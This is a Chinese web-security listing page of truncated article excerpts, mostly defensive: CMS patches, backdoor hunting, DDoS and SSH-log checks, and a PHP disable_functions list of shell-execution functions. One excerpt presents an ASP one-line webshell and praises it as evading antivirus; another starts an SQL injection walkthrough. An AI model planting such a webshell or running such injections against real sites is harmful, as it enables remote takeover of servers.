网络安全

dedecms广告内容没有做限制,可以输入脚本信息，并写入文件，导致木马植入！ 此补丁，是防止广告里带PHP脚本并写入文件！ 核心代码：ad_js.php 复制代码 代码如下: //禁止写入和PHP脚本有关字符信息 //================...

1. 如何查看ORACLE的隐含参数? 　　ORACLE的显式参数，除了在INIT.ORA文件中定义的外，在svrmgrl中用"show parameter *"，可以显示。但ORACLE还有一些参数是以“_&rdquo...

事情是这样的，朋友的网站的利用各种查找后门的工具都没有发现php木马。老是找不到，小黑的伎俩很高级，每次使用完毕总是把后门删掉，但是每次都能继续进来，总是找不到从哪进来的。这个着实让人蛋疼。后来，终于在日志中发现一丝蛛丝马迹，通过我的分析，我发现一个I...

================ php包含漏洞替代技术 ================ php开发者们犯得一个基本的错误是把一个不正当的变量传递给系统函数，特别是include()和require()这两个函数。 这个常见的错误导致了众所周知的远程...

Linux系统用netstat命令查看DDOS攻击具体命令用法如下： 复制代码 代码如下: netstat -na 显示所有连接到服务器的活跃的网络连接 复制代码 代码如下: netstat -an | grep :80 | sort 只显示连接到80...

1、查看谁破解你的ssh cat /var/log/auth.log | grep "pam_unix(sshd:auth): authentication failure;" | cut -f14 -d\\ | cut -d\&#...

以下这个ASP一句话 <%If Request("1") "" Then ExecuteGlobal(Request("1"))%> 上面这句是防杀防扫的！网上很少人用！可以插在网...

要不容易出错的。 复制代码 代码如下: <style type=\”text/css\”> <!– body,td,th { font-size: 12px; } –> </...

作者：y0umer 　　打开网站发现 　　习惯的加了一个引号 　　确定是注入以后直接丢啊D了。(我懒) 　　这不悲剧了么，猜不出表段?? 　　扫扫目录看看。 　　发现del.asp打开看看。。 　　错误提示的是在查询表达式中"id="...

禁用不安全的PHP函数,有些php函数是不够安全的,我们必须要加强安全配置,如果做虚拟主机,建议禁止php函数列表如下: 复制代码 代码如下: disable_functions = system,exec,shell_exec,passthru,pr...

今天要说的就是一款能够自动屏蔽DDOS攻击者IP的软件：DDoS deflate。 DDoS deflate介绍 DDoS deflate是一款免费的用来防御和减轻DDoS攻击的脚本。它通过netstat监测跟踪创建大量网络连接的IP地址，在检测到某个...

我随便看了看/var/log/secure日志，显示如下： 复制代码 代码如下: 118.33.110.52=2834 119.145.254.77=37 121.254.179.199=226 121.88.250.243=35 200.29.110...